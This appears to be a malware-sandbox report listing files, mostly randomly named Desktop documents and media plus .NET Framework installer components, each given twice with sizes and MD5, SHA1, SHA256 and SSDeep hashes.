C:\Users\FD1HVy\Desktop\1nAU21n.gif	30.67 KB	MD5: cf27592e9b89876e26a446a66e846406 SHA1: c19570f563006b5936c6ae5032564f66d87c38d2 SHA256: 67866fd85f730827d182f5d7706600e5ddf298740a127ad2afd296e362f1a437 SSDeep: 768:ZFdv1i6LbTlYCz2t8EmkjFt+swPAwTTK6Su:ZFLnjG5PMTK6Su	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf	25.88 KB	MD5: 256d6c8dbfb1afc5a0d43f586eecc961 SHA1: c045fa43ce093c4b63804010cebfd4ebbcd0a8bb SHA256: d9ccddb4cfc9e10a5aa6eb412e2c33cdd35c20987c076b88e37f40d04a516043 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf	27.35 KB	MD5: 26482064ea14f8e23e74ed2a6fe2644e SHA1: 9b77b74e0693f5fff97e41a2c6eaf4129c045417 SHA256: 75c45f10a83104951975ebd73fee75d8afa021c755da0cd4ca37754beb87540d SSDeep: 768:Zy9C9DZWAH1EIY4RneyVt2oe4bkwQFazSa2Nf1tFogUu:o9CLWE1EItneBoe4lYCZcf1tKZu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3	13.48 KB	MD5: 0c17fad2ecc7139837d706e6a3a70093 SHA1: 1f283656a8321be971d5fcded7fac74b07dda0ab SHA256: 62733a7fcb37170db51aed83081e6565e5ae7d7500e02fb17afb25f474c3ceda SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3	14.94 KB	MD5: a92145e5ddfe93b45ece0d4ea8e525fb SHA1: ee0f17c26c9f30daeeb29b7279723caae9bb24e4 SHA256: b41a4256fef97155734d387863b38da6d58f3ab93956296c726d1b95a8fa20c6 SSDeep: 384:rmpwbx6JwfRJz49xGSSOwREWi2U8t0gACDk4sAQu:Six6JwX0GJxvi295k4Gu	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\GetCurrentRollback.ini	157 bytes	MD5: 263482ff507c872efa0845925db86791 SHA1: 602aa959397398a9160f5ce8e31f5774a61a1e2f SHA256: fd7a63c9f3ab188baf7ff4af109e129f67a0bf3506d65b1b25aebde303b2472f SSDeep: 3:5KZq/oAIM3GMKYQ3kyNIMtROiN/Q0nMzIRR5s6UUvvyz5ULEHWx:UiTI3JftIiNPnMz6xCqLE2x	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\GetCurrentRollback.ini	1.61 KB	MD5: f2e2ef436477d54769694d7abac962f2 SHA1: 6da50f2c02fe728d98d2909195cd19672a413a8c SHA256: 5ce93fea86a35459e1750bc884a83f6a54d51cd9a4590f98c1044571147082d3 SSDeep: 24:BHm623MoVEeZ/+yR3oKJMCtrpWR3GYHvfcIgYOkTHvC36hoWOUzMGZPZmDC4RLbf:BrpuEM/LNJXpgG4xgQTAGZQLXiuQih	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3	63.94 KB	MD5: b5dd67e5f43f50dc648f643283c38362 SHA1: 6f35846ab9111e39b39588f4f8d9ab2aed52cb81 SHA256: 5c302280837ac334600fcb7e7f813fe84dc5c506eda724d10bcc3b626e9a9721 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3	65.41 KB	MD5: eed29af8576f545ec3a6d63c63bbb48a SHA1: 5ed1be3b7671d41b777f78bf2b4174a483729af8 SHA256: d801c82344743ad6c7696c99ba9e3fc670f257c4432ef1cbb28d2128a08eae7e SSDeep: 1536:2VYivgz0yJX3SKAj9L6K7PXA7OzGzph51a6la9u:2UN3GjsK7PXA7Oc9dz	... File Actions Show Properties Download
C:\588bce7c90097ed212\DHtmlHeader.html	17.21 KB	MD5: 079c0ae4ca228a1afa827d2fe1abcf7a SHA1: 764833c6053d140813cbcdeb953605ca21e6c1d2 SHA256: bdee7883c97e13b30906228c5ef2c1c1bfda1eb2fb6985872fcffcf765bcb155 SSDeep: 384:lnWY90J3JmKB+lyDmtSrTgwAGui5Cu13j1e/1EDN5nhcXwQu:RWsOJtutSompCup1e/1ERgRu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls	82.70 KB	MD5: 066d7f9aa7d5a8ba9c945cb2e539fe1b SHA1: 86cfe5cb8b2f65fb8947093a80ce87de0cfa6880 SHA256: be91cad86457ec83284254ccb7e96c0c06a7d0b0fd53f41e088affbcf47dfcf5 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls	84.16 KB	MD5: d90b30c7d212f12ef901d6ef06160c49 SHA1: 29b8d35b1edb74cdbb5635f02e40180cce67f063 SHA256: e80dd7a15ad31f9ed668e048032c648fa1cbae517e423a84d1456f721a0503d9 SSDeep: 1536:nRZv+fqGZXo1tMMQzTu/tYBP0HFHezyoKPFdvwSvfflrMGTHDAu:RZsEMxz6/tcaHezyddvD3NrFTHDf	... File Actions Show Properties Download
C:\588bce7c90097ed212\DisplayIcon.ico	86.46 KB	MD5: 5b5e76e373edc1c3f173ef3c98fdf144 SHA1: 34f9d7a8a51d489f6286448db950e9d6df2de332 SHA256: 1e747b967f180c4ede5c41c40398d8acfa773b6e1ecfd17387ca6cd716f01408 SSDeep: 1536:xWayqxMQP8ZOs0JOG58d8vo2zYOvvHAj/4/aXj/Nhhg73BVp5vEdB:e/gB4H8vo2no0/aX7C7DcX	... File Actions Show Properties Download
C:\588bce7c90097ed212\DisplayIcon.ico	87.92 KB	MD5: 42928b77016f07a70e39b46760b5f97f SHA1: 800468d3c2263e75481919c9baa4204b6059954f SHA256: 51d6c9a317392917d514ee0c8d76a25e366c6a6f8d2de62e7b6c46d5b6829e54 SSDeep: 1536:srWY/JYzEGVzYrU8NVpL3qVhG844DkCouMALold/naRrNnFAEqxnEu:CW4GVzYYwVpbgP4sJI3K2E0z	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods	34.44 KB	MD5: e07bd4feef206c2326d6d8e7c756093e SHA1: dc6c64cfd640b8ed5b04bb282ee6f8291b258a40 SHA256: 1c60bc88a2ad3252e26ed8b61e3622020108a506a505472a19cd90be11e407e4 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods	35.91 KB	MD5: 56298e189c01a09da80a4edd36d4414e SHA1: 2a792fcbebc42315e5abe851239c07c53c9ad228 SHA256: 0f0f1ee56d43864e148b32c32686377dafda05b71600c87cb8f2f41ca6eceac8 SSDeep: 768:M95M72z8A8JWtNlELPrNugyKJfb58kelAG84ESySQrG66XnOkxr9LYMu:MrVt8JW/SCWfbQlZESy8XOkxFYMu	... File Actions Show Properties Download
C:\588bce7c90097ed212\header.bmp	3.54 KB	MD5: 2ed19b46213f424c5776e43fd00ee3e5 SHA1: 6f1f68eb4d0e1bfa68e17c7b3b9a103291482178 SHA256: 98fb95c59058174d6a78960dfbd34240d224c90f3f5d9389411ddbfeda30ee00 SSDeep: 48:f0sO8Kdwc6o5NF5ghwwpnMOccFpscGqfkemvIQpQK/xHiggTfGRgVC0e:cMa1krnrJmdQ+EgyfGV	... File Actions Show Properties Download
C:\588bce7c90097ed212\header.bmp	5.00 KB	MD5: 5c723559e96aef78a693f433f1b6686f SHA1: 16b630688f7aa6ece7d2849590ab59f8c6229f59 SHA256: c857c837efaac0e8d3590b3c07545ea36fdcaaefd0f3592e4d59332b0dd20fbb SSDeep: 96:yqLBohbI8hMqHH6YkFcoB6yoaoqEMR5XUBlNpSxNOu+GOgQgk+:yqqhbI8hvHoPdoqZ3XccROX+	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots	10.87 KB	MD5: 0e70b0dc0633c726905a809859fbd895 SHA1: 52ed6eb3b0aed8039e5d7a9c9a613b6f48f7eef3 SHA256: 67a7e7aead501288ff8136afc223992e92760f71864ec393458c12495b5676d3 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots	12.35 KB	MD5: b3d74df54996a01419ff55af42150cd4 SHA1: a7cc67e616e8fccafdad5328527a8cce260799ec SHA256: 09ae7f4f1f8a279702452c80231e4937b9a001e3bd4ed6999090dbfaa4e6fcda SSDeep: 384:vZ7PX+4NSdyra5tcZpBsvGpURk0W1gq12Qu:R7PXjNfa5tYpivGpUrcJu	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core.mzz	173.08 MB	MD5: e1662609a047427e438427841c86975f SHA1: f4867c4b9ce3d6a61e27a413a7d130539d82b888 SHA256: 7337790f41d70663ecddd9502359cb53eb8e86e2f8900fd53992e9716d526308 SSDeep: 196608:+V04YyKSBXZ35w+KBK2KJKDcloT46ooP8ZNoz+hK12RP1O7lT:r4Y7qZ3CwFISoT46ooP8Zyz+hm6Mp	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core.mzz	173.08 MB	MD5: cbe34befba85e6cf1c7e6b101c7f93a7 SHA1: 040962125c722940ba6ad45c320e523d41198715 SHA256: fc17786500498273c55dc6893afeeff7f6d25729857256f88982d32e2ac604ac SSDeep: 196608:98V04YyKSBXZ35w+KBK2KJKDcloT46ooP8ZNoz+hK12RP1O7lT:9l4Y7qZ3CwFISoT46ooP8Zyz+hm6Mp	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3	35.82 KB	MD5: 9af2f1ec8a2486c3f492c43dc9c63ff1 SHA1: 543028ac4bf351691aa1bb370b4ba551564c1a47 SHA256: 2cf8a8efa36bfd4a6cfb722dd4e1dad76b653b96e33d9055a9a5a2deda383ebf SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3	37.28 KB	MD5: 0603f0793f00428a64732918f19cb61a SHA1: cd093894e61810226675fc24f2b37cc8ade3e6e6 SHA256: d3f2a3f8466e7fcd4a25c9b24abfa6ecf3b00bcad273a5633521a187170a668e SSDeep: 768:pupksY9UopAYzvlhPinnSV35p00Vo20Sj5FbloGUAgT9ew9eESqKu:GbY9U6hiSJ5pdo2hj5FblsB9eNZu	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x64.msi	1.81 MB	MD5: a64d2497783f012bacc3699533415e30 SHA1: 024d9377b342cdff549c47af3d8b512880ae4182 SHA256: 3352647dbf908c0bf8f111ca22bf56f4bd8f512c515a79cdd198118f1c59a842 SSDeep: 24576:f/zZ6tsNrQpc+BQbPyxbs4rONSnfiPBC6xahsovoMfjhOGxZWxw0:V6tuQpcxisfQf2M6FGoML	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x64.msi	1.82 MB	MD5: 48224ea59b9642a881ff26c1bf751bf8 SHA1: ddc5016dde81b225dff7e6e7cb9ef0e37a44f009 SHA256: 954a73b0466274f74214ae2da05fc43932fe9e841ece24d9e3ccb4422746fc50 SSDeep: 24576:VbA1WOc0c+BQbPyxbs4rONSnfiPBC6xahsovoMfjhOGxZWxw0l:gcxisfQf2M6FGoMLg	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg	80.17 KB	MD5: 975e8d20cffc3f9fac9fe869627202b1 SHA1: 58bea03516ad1a5f472a7f574c6178aba3a2615b SHA256: 25fa9245ebc447fe94af123c4338417306fc88e3f7ea87de7d0abc3cb86e5c2e SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg	81.63 KB	MD5: aa3ba705620468ab197690c5ebcd908f SHA1: fd7a89af9db3579fd79af99c714bcc19ffa8e300 SHA256: 7c6ce0c73db1a3b0adf4d005127c2b1da31fb22cab59955655efe7e45106324f SSDeep: 1536:JS/CBUt2nJcju8Qoayb+oQEWv4k2FsvwpXITR6Deqtu:M6jcju8QAtFkvvwlIYC7	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x86.msi	1.11 MB	MD5: 093a281734d1b6b28068e20f8532490b SHA1: dd6bb3d85a0421b2078ebbe7c61d34519d735ffa SHA256: faa5a1ab0265930966c74591886774c1f2f413e485073652f9feea4bf402bc3a SSDeep: 24576:Df6szx1u6dsNbQXcUwabPx9bswH/fd6pxr:DfhzxI6d+QXcWDsK1	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x86.msi	1.11 MB	MD5: 3f82ae61fe9632ecbbb3c13aabf8591b SHA1: cae5cad8f05e00fa04055ce96e3b27460112d45f SHA256: 5a870542a4d71f162526ce9bea2e4d16cf560d746b83f5bb2588bdf27e36f6b0 SSDeep: 12288:tFCQWAA6jO19ACqPL4+hCZ+VkjabDTnxTR8QFqwSOTcnu9ikfdt6TJ6PuX3BdB1:tFCQe196PL4YwabPx9bswH/fd6pxr1	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg	94.71 KB	MD5: b04d96f8526bcb7c4e74622516b88177 SHA1: 422576db7713300e769d146a9e7f451545e8ffe0 SHA256: 83443ad1904c8bff0474ab5905f2c046ca95e1df87a19d76253dcc3dbaa084ee SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg	96.17 KB	MD5: 16ce831bd77553a7dafd156811f2a0c1 SHA1: a25ff9da8463e845fac67db4e4bd49037e4aa2a3 SHA256: cdee0c15df1b84461d06e61d78934a324822b619b443652024f2c06d533920b0 SSDeep: 3072:Y2wzNScG7uJg0VeKN+OULokPYubDINI51kseGCw/LuA:N4g0VeKNzULo6tPINmknGVx	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended.mzz	41.13 MB	MD5: 4f892641325829a6e6ca30f69d16a065 SHA1: 6b612b0db563b728bb8fcd20a9b4e40ed057961c SHA256: 19c7eab7b6703d311cb5fc0cfae6aaa3e5f23a5484f2aaecbfce30d090ef3fe0 SSDeep: 49152:nqkOFSX7xpSdqU6tLnvVqSK5G22mDgBOOmeGGiU9Erqkbnt7QTr5+Oc2EI+8dd0o:HtZKH2mALErq2nt7rvfI+vZpfQ	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended.mzz	41.14 MB	MD5: 5630fc8e772c2b375cdb5fad2bd1ecb9 SHA1: 4bceb5f175b78cac39cea252fdcf48751a26c9fd SHA256: 59ef5e9508570a30684a6a479a9808a0680fa9fcf5678f2fc1bfdc8e036815e8 SSDeep: 49152:mMmCAJcpSdqU6tLnvVqSK5G22mDgBOOmeGGiU9Erqkbnt7QTr5+Oc2EI+8dd0ZwR:XJAktZKH2mALErq2nt7rvfI+vZpfQ	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi	50.47 KB	MD5: 045002942dcd010d3c879f352da9d9e9 SHA1: 044da8efa1ef7f35e9319cb0c177fc14355e5a7a SHA256: c8bbac974a68658ff800c4ca5ef0fc280d57bc1454f373e6e745b1cf0c0d3d8c SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi	51.94 KB	MD5: 67a93ebd3fa8625ee75dec4caaecaf94 SHA1: 674d4fb40284268024849256c20e41eae8229021 SHA256: 08106ff1f468e3b55cf4fe4fca2aa1f0893cb679a454eaa25718b5311c4d8c53 SSDeep: 1536:DSx6cG7DWs0BMtEPQJK9JznMPbLHazIZFlsrS5T6jVu:DSxp2wM1oznEIYFlsrMaM	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x64.msi	852.00 KB	MD5: 4ec1ba5233c02b32901cf30c1cf85bd8 SHA1: 30e46c664703cab8b7760d2dee8ea5dad1e3466c SHA256: 6661a1310341d3495da46a98cc2c05883200b6d05a65a7c583bde2983c33905c SSDeep: 24576:E/J96doNrQlcqGRpOQSpKiPBD6txBkkkkk5SV:W6dKQlc4Fc216XmS	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x64.msi	854.43 KB	MD5: 57ab968b26a3a8d43c3c4676a2ae176c SHA1: 9466b67df5426fe4466dce7888d7d84153b3ac19 SHA256: 2d4e4d3cf40b539070f65204752df55107d3e0c495ca65886948441f0caf8646 SSDeep: 24576:0EHnk7Akl3aOvQucqGRpOQSpKiPBD6txBkkkkk5SVL:bnkMkl3Bbc4Fc216XmSN	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\Cc1dWs.flv	21.71 KB	MD5: e94e67ce42fcd23a059a7d12e57b1198 SHA1: 0afc1a1639ec85f4588e619bae69cfecf4a9d5e4 SHA256: f5919835d3db53ab7274a601acbb9713343bf96c1014bd7c424124c290c5598b SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\Cc1dWs.flv	23.17 KB	MD5: e202f207ce8919ccb44bb56e162bc379 SHA1: 168ad4739b6ce70c0f8ecda22ad85e0e4b45ad99 SHA256: 8e4c09ebc14ba24d3861c75370886e5241af41a8a520f4cfc3c328eeeb809cea SSDeep: 384:T9vw30k3JKTqHINVqf4fmJ2tR66xPt7Amw1cr4mJKw8w7dimfkwwtQu:TNwEk3IqHIzqf4TtR7xF8b2bJKwtUm/u	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x86.msi	484.00 KB	MD5: 8d1f94bc63293ed35c1026db8f0ac347 SHA1: 0bda4fe33a48aa91e8fd29b085e10a4db33af246 SHA256: 4161f75517ecfab41879032f83c929f572972dbeac0ddcefdfc544344ebc25d2 SSDeep: 6144:DRHfepsrxRrGh/JD6sAOiOk05c+Q+OjUIsLQUIcFxZSBVv+lYjsm6FBQ0ssT5H:dHfepsrx1GX6sEsNz7QXcFxZ+VhjEr	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x86.msi	486.43 KB	MD5: 834088bf6a10c0cd34f93f8f17d18a14 SHA1: a89cde93fb025d8e4e68c53e3caf9f799a9dcc82 SHA256: 81e31991a0f38caf26cac621b5f918685b75b4ea78b464d185b7900768182c7c SSDeep: 6144:DSkLLVBM7u4r298vjBvVK5h+Ek50/cHafPbl3JJFTSJwjZSBVv+lYjsm6FBQ0ssL:GAM/r2YBdKf+EVbfP53LvZ+VhjErt	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif	53.05 KB	MD5: 6ba80559044d04aa39cb68bcdf6ab0e2 SHA1: 58251263a7eb31aba1fad54a206bf42ca8776e55 SHA256: b74679be9aa9f1273ea94981570ff049724414e219982b3e1e6a7231d845fd54 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif	54.52 KB	MD5: 634d9da27c54104627565a9d1e7f0a5d SHA1: 45f4a4f686368341e9773e6639b86c5c9b7cf35b SHA256: c4a04dd30b01783d1c14ba14d283bc9e025d52621b4d86df61832e9a25f9f57c SSDeep: 1536:+FkZCVkNO1WrNzqFqWZQxuZ9hMK7koROQu:tZC5AoQqYKdAv	... File Actions Show Properties Download
C:\588bce7c90097ed212\ParameterInfo.xml	265.67 KB	MD5: 44fdb7bc14937774f6da793e2b13f2b9 SHA1: 92aa2c14f22b36de06d0d6f3d091ed7c4e571bc6 SHA256: 9f074a689c9a2597e63a7ed80da8922af7bdd769c885f7f9711c7da52edb2333 SSDeep: 384:EYSROAGiYNVrkT+8TodTBltw11VTvcL1wCiUj78leRqmH9Hej2iXWKYP4JUaGMLG:EFROYoVQTLTQTDFdhaaot6PcbrI/	... File Actions Show Properties Download
C:\588bce7c90097ed212\ParameterInfo.xml	268.10 KB	MD5: 5baa4cc615ae1ee93be261c201f7e9aa SHA1: 0c9d4aec17a94ce84d75b719262485a80567016c SHA256: ec9bc6a2db6690a9a1aace2e182e43af24cc096480b2ef3cfbd6ebdfbe653add SSDeep: 6144:Ll8HRpzGOXZ2Xv/ZmTJnXXt4R0DXhaa+Su0Xidgc+s+B/:LyHRpzGqZmJmJX9A0bhaTvf+B	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi	30.59 KB	MD5: 4fcb2d93f9c6213ece3495e12a22183b SHA1: ebcd72f4951accd49182d047d20f52ead099ac3b SHA256: c39f71d263ab68dff6959243abc07cfcfecad7c2c6a82595e1ef36eb1aa99d6e SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi	32.05 KB	MD5: c1b44e90dd7a512a77943d3842c4b419 SHA1: 8f4039129687aff0513a6f31d31493311a2f60cf SHA256: b07ee3446e87688a304fe30e721b1581e6a1d90caf82779dc64bb94e9a99d4ef SSDeep: 768:zIk8r5EDe9qtKOAP4xJKG5QswG5WZYtReTBUK2mAXBmPSa4++dtu:zXYEDJ91S3tGQtTBamAXBPvzu	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9RAST_x64.msi	180.50 KB	MD5: d9709c121e75c55f20f52e768e585e0b SHA1: 72483890391ada110ba7848fdcf4ce32a339aa38 SHA256: 2a6bf97ab1a73bde88264f990e66bf706bbc98fbd6a0171db353161badd69539 SSDeep: 3072:SMZbdgC73Q5H0Un0li+G9A7Kve3Hg5BszizUVQzB7m09g47aEqPNWZKq5uXp0:SMddgq38l1A7Km3Hg5CzizuE99gVEqi0	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9RAST_x64.msi	181.97 KB	MD5: 76c5bfbb16f21d92619ca30aab99c664 SHA1: d8a7dbab89d5ec439281eadd2ea04b4441677e8f SHA256: cfb022fa14363353c72a6733cf3acfc9a0ef92013400501dbe5aaf068e850bac SSDeep: 3072:WCc35epDmtrT6sukbN1I1a8fc8JWQO5+kOdg79PSj6j18E2LQ0IA:Lnlm52mBeaSJWQOcilSjPEoIA	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png	60.76 KB	MD5: 73148ec78a912964f25230e8100f654b SHA1: bf8ddb367c76d777db0491c75032ec451b8a82f7 SHA256: a80a460e03cffe821bee19e66918437fe016ba7f92b8a04acbad3c9ec0d3dd75 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png	62.22 KB	MD5: e63d2b36e1852db85da769dd8d953b98 SHA1: 1e0a11721172dc9b3d10f4e43e5d9bfd0a39f28c SHA256: 09fa1e3e997bf20016f440a2a89c04a3a6b599b65d3db45a0bbb1cdd56f8ff42 SSDeep: 1536:eJ2PAWlwnWrCWQ6iDqjNmNQWyDU4l3tNVwe+p2hC55PnRu:mtWuWrCZ6iFNngLl9NPQ5P4	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9Rast_x86.msi	92.50 KB	MD5: 2f64fb121dbe1af39a89aa266384d2f7 SHA1: a86cb921eb6b9793c8703c1f0285cafbec19ecb3 SHA256: c41cc9bae57bb1d27a1c50b3ce48a76b81a30adb67adeb20701689143b184307 SSDeep: 1536:upZdWM41picgCjX3QAoHwDHL0fWi0lrmsIjyG9heHApNR3YHaeAHaeee:ugZbdgC73Q5H0Un0li+G9AsxqQ	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9Rast_x86.msi	93.97 KB	MD5: 200958225faf90dca7cec0df16398030 SHA1: 3ce1f273cb1d6157757e9223e792a297e940d42c SHA256: 98d9ca88715cf8bb9673c2181fe58038dd3e3573486c693e05fc87ff858d680b SSDeep: 1536:yOWJ4q6hZR7E6uYgVAnUgCYX+BOfk59Lhi9cXqUxO5f9iaDpuvlS/7VgsQAVY6Su:yOW+XhZEYlUgCYX+Bt3kWqYAfU6pUUBD	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\Eezf.mp4	26.47 KB	MD5: 7c8fa29e0567d3c569ffb3c8c80097e2 SHA1: 2c0f5b0431dc5039b7041dbbcf04acd7aba5b643 SHA256: 6a8f7e13a906386cbc859b278f987028d589ca49ffcd601b6349241025faf05a SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\Eezf.mp4	27.94 KB	MD5: 433b1fd1ba48004c8942c0b599c726fa SHA1: 53ce9b3018d05e28979e9d84171580900ed39de3 SHA256: 9f22da434ee612a019aac080e7ec62859ca12bb9116dcd2093ba5dc0e465aef9 SSDeep: 768:TbYkyVJd/Du0qDsjXlMo/HvaXwMeG3xghn2+LtvOu:kPDMDiB/HvAwvGBgl2+Lt2u	... File Actions Show Properties Download
C:\588bce7c90097ed212\SetupUi.xsd	29.42 KB	MD5: c07a2b4823ec1735ddafe4c2543b1027 SHA1: 09e08306f8d15fa5e5d298fc3f54cbfb68f44086 SHA256: e06f9e2e498e902c90d43d82aeabe0b621e2334b53a3e1882e57686cd43b6275 SSDeep: 768:hlzLm8eYhsPs05F8/ET/chT+cxcW8G2P4oeTMm:1wchT+cxcDS	... File Actions Show Properties Download
C:\588bce7c90097ed212\SetupUi.xsd	30.88 KB	MD5: b771bb534d811d7983cb3262e62803c6 SHA1: e68d0d28bba9cf305c08d23be61a92657442fd07 SHA256: 39f5be9f82c8f736bfde6458859b422b745e74f2112c29c906df8879279d57af SSDeep: 768:EnPmeZbEMTUt3vw1J9K2Gli4xVms6ywcHJUdau:EPmeiM0OJ9K5tLRHtu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav	68.79 KB	MD5: 034d59a5d4d972e24580af1715207fa1 SHA1: 3611abcb9b6f9927d380cb1051183a54f8a07278 SHA256: b99c4a0fe9c1bac244f450d44aa28666b8b812255dfcb1323349eda260804b7d SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav	70.25 KB	MD5: 02ea3f79a9916e969964f73f02c5e384 SHA1: 65498e452b3a3f9ef18f7bf87072b59512a99eed SHA256: 279bf165cc6a150d030a60508351b2115147ba25ff46869f74cb2ac89ea983bb SSDeep: 1536:+y3PbCOYlOD5MBtYz4iTMwSqsAyMKG2QYfCBh3yc/zOBpxu:+y3PbCOYlm5M0z4iZ9su9e6dqzY	... File Actions Show Properties Download
C:\588bce7c90097ed212\SplashScreen.bmp	40.12 KB	MD5: c3748d96fcbaa6ab1f140614324f5621 SHA1: cbb57fdb1da41c9bd43619a3bdd83e02654ac8d7 SHA256: 09244cc15eae3b5bc1849d9c39f260a0b1ec6939a0ff6d5a03f86f918be6d4dd SSDeep: 384:G1o2kgxmJGEsU3pP28+Qq1ms68/tUqHUlHGwM7bwv3ETbFrW:kkpoapTbimsqHGY	... File Actions Show Properties Download
C:\588bce7c90097ed212\SplashScreen.bmp	41.58 KB	MD5: a6667d5a74281adb42990974197b4a13 SHA1: 7c6240d272ef72663b85067bc4a15997739afc09 SHA256: fa7263217f0c645d8dca6dddf6ac8e361f0a152fbaab6ed6165c3b4438d73d40 SSDeep: 768:TSEEApiU5WdXn9OTSo6ZuRF9mwIJzwjDmVDIfNyOtu:diU5rTSojLmr5wvm1IfNfu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\he_DSG.swf	42.76 KB	MD5: 819e6b31a82eb4c49f8c279631881063 SHA1: d198d5f46a046a2cbb33512b7fd75c37b7709330 SHA256: 475ee565b3b2765aa1bb62363010f630d5dacc8b09f2508d9dd8e92548a92270 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\he_DSG.swf	44.22 KB	MD5: 20726cb07b2c286a01236094247eeae9 SHA1: c4651748a5fd13bda5f9987ebaf3f3439b7d985f SHA256: d1131c805be4b0a45fbc8bee0a5e50d592e0c8550b79ec05a6b1f839a0b8607a SSDeep: 768:gEJeCySfjR+ZoUyBWmMsGSxWsChEy5GI6ebRlTnDQ0ytfaJKb79b/TmVvEb5tvDU:giVV+CUyIsaEyftbRlTnDOkKf9n6otvg	... File Actions Show Properties Download
C:\588bce7c90097ed212\Strings.xml	13.75 KB	MD5: 646e3e3f1ffc26055ee1f0db0cc88041 SHA1: ff3d8ea31495d682afb823e9a982b8e7aa1a2769 SHA256: 589eae4449c8d988cf534dd96ca3e5fcd71a67af0484fc713b7af009cd2a9b93 SSDeep: 384:VqZo71GHY3vqaqMnYfHHVXIHjfBHwnwXCa+f:VqT	... File Actions Show Properties Download
C:\588bce7c90097ed212\Strings.xml	15.22 KB	MD5: 0047ce90d7ca239d6f8cad7f00b08eb9 SHA1: a166cebb0d39059f6f5a34d6e7f7064eeeca073e SHA256: 20cd0fb8eedbf866f0ef01d44d5253c4cff18ecae61f55d7b6e96d9c01279817 SSDeep: 384:x6kd6q9bljrCT0KOkIxLkz8AiHayPQqHaPE+lYZ6W7Qu:j9bVCTEBkzziHayN2EkY4Wsu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc	61.75 KB	MD5: 9dd29aaabd95e165d562ad23f0020448 SHA1: da00acc3a0906106ab8ac9301e54ab0412d9b839 SHA256: bd1fee94ccabdba07fd4e4b878406f12a37ec00ae49b8e19016ba22e8b24d7e1 SSDeep: 3::	... File Actions Show Properties Download
